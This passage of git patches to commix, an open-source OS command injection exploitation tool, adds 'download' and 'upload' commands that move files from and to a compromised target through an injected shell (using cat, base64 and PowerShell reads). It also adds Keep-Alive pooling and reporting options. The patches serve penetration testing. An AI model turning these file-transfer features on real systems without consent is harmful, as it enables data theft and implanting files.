settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + """ Print logs notification. """ @@ -207,6 +274,7 @@ def print_logs_notification(filename, url): if os.path.exists(settings.CLI_HISTORY): checks.save_cmd_history() add_footer(filename) + write_report() if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: if not settings.LOAD_SESSION: logs_notification(filename) diff --git a/src/utils/menu.py b/src/utils/menu.py index e48e4bbf00..3edd1243b6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -144,6 +144,12 @@ def banner(): default=False, help="Abort data retrieval on empty results.") +general.add_option("--report-json", + action="store", + dest="report_json", + default=None, + help="Store run results to a JSON file.") + # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, "This options has to be provided, to define the target URL. ") diff --git a/src/utils/settings.py b/src/utils/settings.py index 00bf8a4fa9..556aa305a8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "106" +REVISION = "107" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -346,11 +346,8 @@ def sys_argv_errors(): # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" -# Legal Disclaimer -LEGAL_DISCLAIMER_MSG = "Usage of " + APPLICATION + " for attacking targets without prior mutual consent is illegal. " + \ - "It is the end user's responsibility to obey all applicable local, state and federal laws. " + \ - "Developers assume no liability and are not responsible for any misuse or damage caused by this program.\n" - +LEGAL_DISCLAIMER_MSG = "Attacking targets without prior mutual consent is illegal. " + \ + "Obeying applicable laws is your responsibility and "+ APPLICATION +" developers assume no liability.\n" # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) # Random variable name (E-Z only). @@ -720,6 +717,8 @@ class OS(object): # Log-file report state. LOGGED_FINDINGS_HEADER = False LAST_LOGGED_PARAMETER = None +# The accumulating --report-json data, built only when that option is set. +REPORT_JSON = None LAST_LOG_GROUP = "header" # The max help option length. From 2c9c83920b1650a786d705769350a42db37b1268 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 5 Sep 2026 11:45:38 +0300 Subject: [PATCH 0764/1023] Added new `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction --- doc/CHANGELOG.md | 3 +- src/core/injections/controller/checks.py | 134 +++++++++++++++--- src/core/injections/controller/handler.py | 2 +- .../injections/controller/shell_options.py | 9 ++ src/utils/menu.py | 10 ++ src/utils/settings.py | 7 +- 6 files changed, 146 insertions(+), 19 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 96e437f3a3..a36fc60cc7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. * Added: New `--report-json` switch to store run results to a JSON file. * Added: New `--abort-on-empty` switch to abort data retrieval on empty results. * Revised: Renamed `--alter-shell` to `--interpreter` for clarity. @@ -15,7 +16,7 @@ * Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. * Added: Dynamic parameter detection to identify parameters whose values change between requests. * Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. -* Fixed: Benign patterns like 'Accept: */*' are no longer misdetected as a custom injection marker. +* Fixed: Benign patterns like `Accept: */*` are no longer misdetected as a custom injection marker. * Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output. * Revised: Improved `--time-limit` to reliably abort the scan at the configured limit. * Fixed: Improved login authentication to correctly capture cookies and submit via POST. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a342611c1d..b6790d3fdb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -19,6 +19,7 @@ import sys import json import time +import shlex import socket import random import string @@ -1133,7 +1134,7 @@ def confirmed_injection_points_summary(): Check 'os_shell' options """ def check_os_shell_options(cmd, filename, url): - if cmd in settings.SHELL_OPTIONS or cmd.split(" ", 1)[0] == "use": + if cmd in settings.SHELL_OPTIONS or cmd.split(" ", 1)[0] in ("use", "download", "upload"): if cmd == "?": menu.os_shell_options() elif cmd == "back": @@ -2889,7 +2890,7 @@ def write_content(content, dest_to_write): if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + quoted_cmd(dest_to_write) return cmd """ @@ -2906,15 +2907,15 @@ def check_file(remote_file_path): if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.FILE_LIST_WIN + remote_file_path.replace("\\","\\\\") else: - cmd = settings.FILE_LIST + remote_file_path + cmd = settings.FILE_LIST + quoted_cmd(remote_file_path) cmd = add_command_substitution(cmd) return cmd """ File content to read. """ -def file_content_to_read(): - file_to_read = menu.options.file_read +def file_content_to_read(file_to_read=None): + file_to_read = file_to_read or menu.options.file_read info_msg = "Fetching contents of the file: '" info_msg += file_to_read + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -2960,8 +2961,8 @@ def file_read_status(shell, file_to_read, filename): """ Build the final destination path for file write operations. """ -def check_destination(destination): - where = menu.options.file_write +def check_destination(destination, where=None): + where = where or menu.options.file_write # Normalize path separators before splitting. normalized = destination.replace("\\", "/") # A destination with no trailing filename is a directory, so append the local filename. @@ -2974,8 +2975,8 @@ def check_destination(destination): """ Write the content of a local file to a remote destination. """ -def check_file_to_write(): - file_to_write = menu.options.file_write +def check_file_to_write(file_to_write=None, dest=None): + file_to_write = file_to_write or menu.options.file_write if not os.path.exists(file_to_write): err_msg = "The specified local file '" + file_to_write + "' does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -3002,7 +3003,7 @@ def check_file_to_write(): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - dest_to_write = check_destination(destination=menu.options.file_dest) + dest_to_write = check_destination(destination=dest or menu.options.file_dest, where=file_to_write) info_msg = "Attempting to write the contents of file '" info_msg += file_to_write + "' to the remote directory '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -3021,6 +3022,111 @@ def file_write_status(shell, dest_to_write): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) +""" +Write a local file to the target, through the given execute_cmd(cmd) -> output callback. +""" +def upload_file(execute_cmd, file_to_write, dest_to_write, content): + if settings.TARGET_OS == settings.OS.WINDOWS: + fname, tmp_fname, cmd = find_filename(dest_to_write, content) + execute_cmd(cmd) + execute_cmd(win_decode_b64_enc(fname, tmp_fname)) + execute_cmd(delete_tmp(tmp_fname)) + shell = execute_cmd(check_file(dest_to_write)) + else: + execute_cmd(write_content(content, dest_to_write)) + shell = execute_cmd(remove_command_substitution(check_file(dest_to_write))) + file_write_status(shell, dest_to_write) + +""" +Read a file from the target, through the given execute_cmd(cmd) -> output callback. +""" +def download_file(execute_cmd, file_to_read, filename): + cmd, file_to_read = file_content_to_read(file_to_read) + shell = execute_cmd(remove_command_substitution(cmd)) + file_read_status(shell, file_to_read, filename) + return shell + +""" +Split an interactive "download"/"upload" command into its two path arguments. +""" +def shell_transfer_args(cmd, usage): + try: + args = shlex.split(cmd)[1:] + except ValueError: + args = cmd.split()[1:] + if len(args) != 2: + settings.print_data_to_stdout(settings.print_error_msg("Usage: " + usage)) + return None, None + return args[0], args[1] + +""" +Read a file from the target as base64, so its exact bytes survive the transfer - returns None +when the target cannot produce it (no "base64" available, unreadable file, ...). +""" +def download_file_bytes(execute_cmd, remote_file): + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ_B64.format(remote_file.replace("\\", "\\\\")) + else: + cmd = settings.FILE_READ_B64 + quoted_cmd(remote_file) + encoded = execute_cmd(cmd) + if not encoded: + return None + try: + return base64.b64decode("".join(str(encoded).split()), validate=True) + except Exception: + return None + +""" +Download a file from the target host to the local machine ("download <remote> <local>"). +""" +def shell_download(execute_cmd, cmd, filename): + remote_file, local_file = shell_transfer_args(cmd, "download /path/to/remote/file /path/to/local/file") + if not remote_file: + return + if os.path.isdir(local_file): + local_file = os.path.join(local_file, os.path.basename(remote_file.replace("\\", "/").rstrip("/"))) + + info_msg = "Fetching contents of the file: '" + remote_file + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + content = download_file_bytes(execute_cmd, remote_file) + if content is None: + # No usable base64 on the target - fall back to a plain read, which the command output + # channel returns as a single whitespace-separated line. + warn_msg = "Unable to retrieve '" + remote_file + "' as base64. Falling back to a plain read, " + warn_msg += "which does not preserve the file's original formatting." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + text = download_file(execute_cmd, remote_file, filename) + if not text: + return + content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") + + try: + with open(local_file, "wb") as output_file: + output_file.write(content) + except OSError as err: + err_msg = "Unable to write the local file '" + local_file + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return + + logs.report_add_file(remote_file, local_file) + info_msg = "The file '" + remote_file + "' has been successfully downloaded to '" + local_file + info_msg += "' (" + str(len(content)) + " bytes)." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + +""" +Upload a file from the local machine to the target host ("upload <local> <remote>"). +""" +def shell_upload(execute_cmd, cmd): + local_file, remote_file = shell_transfer_args(cmd, "upload /path/to/local/file /path/to/remote/file") + if not local_file: + return + try: + file_to_write, dest_to_write, content = check_file_to_write(local_file, remote_file) + except SystemExit: + return + upload_file(execute_cmd, file_to_write, dest_to_write, content) + """ Run the standard file-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own file-access entry point (see shellshock.py). """ @@ -3030,15 +3136,11 @@ def run_file_access(execute_cmd, filename): if menu.options.file_write: ran = True file_to_write, dest_to_write, content = check_file_to_write() - execute_cmd(write_content(content, dest_to_write)) - shell = execute_cmd(remove_command_substitution(check_file(dest_to_write))) - file_write_status(shell, dest_to_write) + upload_file(execute_cmd, file_to_write, dest_to_write, content) if menu.options.file_read: ran = True - cmd, file_to_read = file_content_to_read() - shell = execute_cmd(remove_command_substitution(cmd)) - file_read_status(shell, file_to_read, filename) + download_file(execute_cmd, None, filename) if ran: settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index d6ddf4cc42..3f000dfdef 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -164,7 +164,7 @@ def pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_c if len(cmd) == 0: cmd = "use os_shell" cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] == "use": + if cmd.lower() in settings.SHELL_OPTIONS or cmd.lower().split(" ", 1)[0] in ("use", "download", "upload"): if cmd.lower() == "quit" or cmd.lower() == "exit": cleanup() go_back, go_back_again = shell_options.check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 19aa2cdec4..745b64fd80 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -306,6 +306,15 @@ def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url go_back_again = True return go_back, go_back_again + # The original "cmd" is used for the paths - "os_shell_option" is lowercased. + elif os_shell_option and os_shell_option.split(" ", 1)[0] == "download": + checks.shell_download(execute_cmd, cmd, filename) + return go_back, go_back_again + + elif os_shell_option and os_shell_option.split(" ", 1)[0] == "upload": + checks.shell_upload(execute_cmd, cmd) + return go_back, go_back_again + # Bare mode names no longer switch mode - "use <mode>" does (see below). elif os_shell_option in ("os_shell", "reverse_tcp", "bind_tcp"): err_msg = "Type 'use " + os_shell_option + "' to switch to that mode." diff --git a/src/utils/menu.py b/src/utils/menu.py index 3edd1243b6..24d8477d48 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -15,6 +15,7 @@ import os import sys +import glob from src.utils import settings from optparse import OptionGroup from optparse import OptionParser @@ -723,6 +724,8 @@ def _(self, *args): OS_SHELL_OPTIONS = COMMON_OPTIONS + ( (("<command>",), "execute it as an OS command on the target host"), + (("download",), "download a file from the target host (download <remote> <local>)"), + (("upload",), "upload a file to the target host (upload <local> <remote>)"), (("use reverse_tcp",), "Switch to the reverse TCP mode"), (("use bind_tcp",), "Switch to the bind TCP mode"), ) @@ -918,6 +921,13 @@ def tab_completer(text, state): if "payload".startswith(text.lower()): available_options.append("payload") + # Only one side of a transfer is local: the source of "upload", the destination of "download". + elif line.startswith("upload ") or line.startswith("download "): + local_arg = 1 if line.startswith("upload ") else 2 + available_options = [] + if len(line.split(" ")) - 1 == local_arg: + available_options = [path + ("/" if os.path.isdir(path) else "") for path in glob.glob(text + "*")] + # Right after "use ", complete "os_shell"/"bind_tcp"/"reverse_tcp". elif line.startswith("use "): use_targets = ["os_shell", "bind_tcp", "reverse_tcp"] diff --git a/src/utils/settings.py b/src/utils/settings.py index 556aa305a8..8fe8703846 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "107" +REVISION = "108" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -759,6 +759,9 @@ class OS(object): # File System access options # Read file FILE_READ = "cat " +# Used by the interactive "download", so the file's exact bytes survive the transfer. +FILE_READ_B64 = "base64 <" +WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('{}'))\"" FILE_WRITE_OPERATOR = " >" FILE_APPEND_OPERATOR = " >>" WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " @@ -903,6 +906,8 @@ class RetryTechniqueException(Exception): "run", "set", "show", + "download", + "upload", ] # Accepted reverse tcp shell menu options From 5e240484b9e12d4ed502de53e4e8e315513da468 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 6 Sep 2026 10:52:25 +0300 Subject: [PATCH 0765/1023] Added the `-o` switch to enable all optimization options and enabled persistent `Keep-Alive` connections by default with a new `--no-keep-alive` opt-out switch. --- doc/CHANGELOG.md | 2 + src/core/injections/controller/checks.py | 33 ++++++ src/core/main.py | 3 + src/core/requests/headers.py | 9 ++ src/core/requests/keepalive.py | 138 +++++++++++++++++++++++ src/utils/logs.py | 2 + src/utils/menu.py | 14 ++- src/utils/settings.py | 8 +- 8 files changed, 206 insertions(+), 3 deletions(-) create mode 100644 src/core/requests/keepalive.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a36fc60cc7..37d9a2221a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: New `-o` switch to turn on all optimization switches. +* Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive' switch to opt out. * Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. * Added: New `--report-json` switch to store run results to a JSON file. * Added: New `--abort-on-empty` switch to abort data retrieval on empty results. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b6790d3fdb..c33ef56ad7 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3154,6 +3154,39 @@ def define_vulnerable_http_header(http_header_name): settings.HOST_INJECTION = True return http_header_name +""" +Decide whether persistent (Keep-Alive) connections are used. +""" +def init_keep_alive(): + reason = None + if menu.options.no_keep_alive: + settings.KEEP_ALIVE = False + return + if menu.options.http10: + reason = "the HTTP/1.0 protocol" + elif menu.options.proxy or menu.options.tor: + reason = "a proxy" + elif menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + reason = "digest authentication" + + settings.KEEP_ALIVE = reason is None + if reason and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Persistent (Keep-Alive) connections were disabled (incompatible with " + reason + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Apply the optimization switches ('-o'). +""" +def set_optimize(): + # Persistent connections are already on by default, so only the thread count is left. + if menu.options.optimize and menu.options.threads is None: + menu.options.threads = settings.OPTIMIZE_THREADS + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting '--threads' to " + str(settings.OPTIMIZE_THREADS) + ", used indirectly by switch '-o'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if menu.options.threads is None: + menu.options.threads = 1 + """ Check for wrong flags """ diff --git a/src/core/main.py b/src/core/main.py index 2b4328350f..b2dec99b7f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -792,6 +792,9 @@ def _time_limit_reached(signum, frame): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + checks.init_keep_alive() + checks.set_optimize() + if menu.options.codec: if menu.options.codec.lower() not in settings.ENCODING_LIST: err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 7423b6366f..1ce0c847d3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -36,6 +36,7 @@ from src.core.injections.controller import checks from src.core.requests import proxy from src.core.requests import redirection +from src.core.requests import keepalive from src.core.requests import stability from src.thirdparty.six.moves import urllib as _urllib @@ -183,6 +184,14 @@ def print_http_response(self): req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:" logs.log_traffic(req_msg) + """ + Reuse a pooled connection, when enabled. + """ + def do_open(self, http_class, req, **http_conn_args): + if settings.KEEP_ALIVE: + return keepalive.do_open(self, http_class, req, **http_conn_args) + return super(connection_handler, self).do_open(http_class, req, **http_conn_args) + def http_open(self, req): try: self.print_http_response() diff --git a/src/core/requests/keepalive.py b/src/core/requests/keepalive.py new file mode 100644 index 0000000000..c7b8af0fe0 --- /dev/null +++ b/src/core/requests/keepalive.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading +from socket import error as SocketError +from src.utils import settings +from src.thirdparty.six.moves import http_client as _http_client +from src.thirdparty.six.moves import urllib as _urllib + +""" +Persistent (Keep-Alive) connections, reusing one socket per thread and origin. +""" + +# Keyed by thread, so workers never share a socket. +_CONNECTIONS = {} +_LOCK = threading.Lock() + +# A pooled socket that turned out to be unusable. +STALE_ERRORS = (SocketError, _http_client.BadStatusLine, _http_client.CannotSendRequest, + _http_client.ResponseNotReady, _http_client.RemoteDisconnected, + _http_client.ImproperConnectionState) + +""" +The origin a connection can be reused for. +""" +def _key(req): + return (threading.current_thread().ident, req.type, req.host, req._tunnel_host) + +""" +Reusable only while the socket is up and the last response fully read. +""" +def _reusable(entry): + connection, response = entry + if connection.sock is None: + return False + return response is None or response.isclosed() + +""" +Drop a pooled connection. +""" +def _discard(key): + with _LOCK: + entry = _CONNECTIONS.pop(key, None) + if entry: + try: + entry[0].close() + except Exception: + pass + +""" +Close every pooled connection. +""" +def close_all(): + with _LOCK: + entries = list(_CONNECTIONS.values()) + _CONNECTIONS.clear() + for connection, _ in entries: + try: + connection.close() + except Exception: + pass + +""" +A pooled connection for the request's origin, or a new one. +""" +def _connection(key, http_class, req, tunnel_headers, http_conn_args, reuse): + if reuse: + with _LOCK: + entry = _CONNECTIONS.get(key) + if entry and _reusable(entry): + return entry[0] + _discard(key) + + connection = http_class(req.host, timeout=req.timeout, **http_conn_args) + if req._tunnel_host: + connection.set_tunnel(req._tunnel_host, headers=tunnel_headers) + with _LOCK: + _CONNECTIONS[key] = (connection, None) + return connection + +""" +The pooling counterpart of urllib's do_open(). +""" +def do_open(handler, http_class, req, **http_conn_args): + if not req.host: + raise _urllib.error.URLError("no host given") + + headers = dict(req.unredirected_hdrs) + headers.update({name: value for name, value in req.headers.items() if name not in headers}) + headers["Connection"] = "keep-alive" + headers = {name.title(): value for name, value in headers.items()} + + tunnel_headers = {} + if req._tunnel_host and "Proxy-Authorization" in headers: + tunnel_headers["Proxy-Authorization"] = headers.pop("Proxy-Authorization") + + key = _key(req) + response = None + # A dropped socket only shows up on use, so retry once on a new one. + for reuse in (True, False): + connection = _connection(key, http_class, req, tunnel_headers, http_conn_args, reuse) + connection.set_debuglevel(handler._debuglevel) + try: + connection.request(req.get_method(), req.selector, req.data, headers, + encode_chunked=req.has_header("Transfer-encoding")) + response = connection.getresponse() + break + except STALE_ERRORS as err_msg: + _discard(key) + if not reuse: + raise _urllib.error.URLError(err_msg) + except Exception: + _discard(key) + raise + + if response.will_close: + _discard(key) + else: + with _LOCK: + _CONNECTIONS[key] = (connection, response) + + response.url = req.get_full_url() + response.msg = response.reason + return response + +# eof diff --git a/src/utils/logs.py b/src/utils/logs.py index c169b56d8e..5a6129f50e 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -271,6 +271,8 @@ def write_report(): Print logs notification. """ def print_logs_notification(filename, url): + from src.core.requests import keepalive + keepalive.close_all() if os.path.exists(settings.CLI_HISTORY): checks.save_cmd_history() add_footer(filename) diff --git a/src/utils/menu.py b/src/utils/menu.py index 24d8477d48..d0cb02c493 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -452,8 +452,20 @@ def banner(): optimization = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Optimization" + Style.RESET_ALL, "These options can be used to optimize the performance.") +optimization.add_option("-o", + action="store_true", + dest="optimize", + default=False, + help="Turn on all optimization switches.") + +optimization.add_option("--no-keep-alive", + action="store_true", + dest="no_keep_alive", + default=False, + help="Disable persistent HTTP(s) connections (Keep-Alive).") + optimization.add_option("--threads", - default=1, + default=None, action="store", type="int", dest="threads", diff --git a/src/utils/settings.py b/src/utils/settings.py index 8fe8703846..4f9b36db68 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "108" +REVISION = "109" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -678,6 +678,10 @@ class OS(object): # Max number of concurrent HTTP requests during data retrieval. THREADS = 1 MAX_THREADS = 10 +# Thread count '-o' raises to, unless '--threads' was given. +OPTIMIZE_THREADS = 3 +# Whether persistent (Keep-Alive) connections are in use. +KEEP_ALIVE = False # Locks for shared state accessed by concurrent threads. PRINT_LOCK = _threading.Lock() @@ -759,7 +763,7 @@ class OS(object): # File System access options # Read file FILE_READ = "cat " -# Used by the interactive "download", so the file's exact bytes survive the transfer. +# Used by "download", so the file's exact bytes survive. FILE_READ_B64 = "base64 <" WIN_FILE_READ_B64 = "powershell.exe -c \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('{}'))\"" FILE_WRITE_OPERATOR = " >" From 87f38cc84e58a89d830cb7b75e876f779116e549 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 7 Sep 2026 07:38:22 +0300 Subject: [PATCH 0766/1023] Improved time-related extraction reliability under a saturated timing oracle --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 71 +- src/core/injections/controller/controller.py | 5 +- src/core/injections/controller/handler.py | 922 ++++++++++--------- src/core/injections/controller/injector.py | 38 +- src/utils/common.py | 8 +- src/utils/settings.py | 9 +- 7 files changed, 574 insertions(+), 480 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 37d9a2221a..d1f86a94d1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved time-related extraction reliability under a saturated timing oracle. * Added: New `-o` switch to turn on all optimization switches. * Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive' switch to opt out. * Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c33ef56ad7..713cb2fd02 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1660,10 +1660,6 @@ def time_related_shell(url_time_response, exec_time, timesec): lower_limit = current_delay_threshold() delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec - if delayed and settings.EXPLOITATION_PHASE and settings.ADJUST_TIME_DELAY_CHOICE is None: - msg = "Do you want commix to try to optimize the value(s) for delay responses (option '--time-sec')? [Y/n] " - settings.ADJUST_TIME_DELAY_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES - return delayed """ @@ -3013,7 +3009,11 @@ def check_file_to_write(file_to_write=None, dest=None): Display the result of an attempted file write to the remote target. """ def file_write_status(shell, dest_to_write): - if shell: + if shell and settings.INCOMPLETE_OUTPUT: + warn_msg = "The write to '" + dest_to_write + "' could not be verified - the confirmation " + warn_msg += "output came back incomplete." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif shell: info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: @@ -3070,11 +3070,11 @@ def download_file_bytes(execute_cmd, remote_file): cmd = settings.FILE_READ_B64 + quoted_cmd(remote_file) encoded = execute_cmd(cmd) if not encoded: - return None + return None, False try: - return base64.b64decode("".join(str(encoded).split()), validate=True) + return base64.b64decode("".join(str(encoded).split()), validate=True), True except Exception: - return None + return None, True """ Download a file from the target host to the local machine ("download <remote> <local>"). @@ -3086,20 +3086,31 @@ def shell_download(execute_cmd, cmd, filename): if os.path.isdir(local_file): local_file = os.path.join(local_file, os.path.basename(remote_file.replace("\\", "/").rstrip("/"))) - info_msg = "Fetching contents of the file: '" + remote_file + "'." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - content = download_file_bytes(execute_cmd, remote_file) - if content is None: - # No usable base64 on the target - fall back to a plain read, which the command output - # channel returns as a single whitespace-separated line. - warn_msg = "Unable to retrieve '" + remote_file + "' as base64. Falling back to a plain read, " - warn_msg += "which does not preserve the file's original formatting." + if settings.TIME_RELATED_ATTACK: + # These techniques recover output character by character and report any they could not + # get, so base64 would turn a single missing character into a corrupt file - and cost a + # third more characters to extract. + warn_msg = "Recovering the output costs several requests per character, so this may take " + warn_msg += "a while and the file's original formatting is not preserved." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) text = download_file(execute_cmd, remote_file, filename) if not text: return content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") + else: + info_msg = "Fetching contents of the file: '" + remote_file + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + content, produced_output = download_file_bytes(execute_cmd, remote_file) + if content is None and produced_output: + err_msg = "The contents of '" + remote_file + "' could not be decoded, so the file was not written." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return + if content is None: + # No usable base64 on the target - a plain read costs one more request here. + text = download_file(execute_cmd, remote_file, filename) + if not text: + return + content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") try: with open(local_file, "wb") as output_file: @@ -3110,6 +3121,11 @@ def shell_download(execute_cmd, cmd, filename): return logs.report_add_file(remote_file, local_file) + if settings.INCOMPLETE_OUTPUT: + err_msg = "The file '" + remote_file + "' was written to '" + local_file + "' (" + str(len(content)) + err_msg += " bytes) but is incomplete - the characters listed above are missing from it." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return info_msg = "The file '" + remote_file + "' has been successfully downloaded to '" + local_file info_msg += "' (" + str(len(content)) + " bytes)." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) @@ -3154,6 +3170,27 @@ def define_vulnerable_http_header(http_header_name): settings.HOST_INJECTION = True return http_header_name +""" +Whether the target actually serves requests concurrently. Parallel timing requests that queue +behind each other make every response look delayed, which silently corrupts a retrieval. +""" +def target_serves_concurrently(url, http_request_method, workers): + try: + import concurrent.futures + except ImportError: + return False + samples = [requests.quick_response_time_sample(url, http_request_method) for _ in range(2)] + samples = [_ for _ in samples if _ is not None] + if not samples: + return True + serial = min(samples) + start = time.time() + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + list(executor.map(lambda _: requests.quick_response_time_sample(url, http_request_method), range(workers))) + elapsed = time.time() - start + # Serving them in parallel takes far less than doing them one after another. + return elapsed < serial * workers * 0.5 + """ Decide whether persistent (Keep-Alive) connections are used. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f660ff3d09..0590cdf7c9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -620,7 +620,10 @@ def _run_time_based(): return if len(menu.options.tech) == 0 or "t" in menu.options.tech: _ensure_time_warmup() - checks.warm_up_response_baseline(url, http_request_method) + # A resumed finding is re-verified against its own full delay, 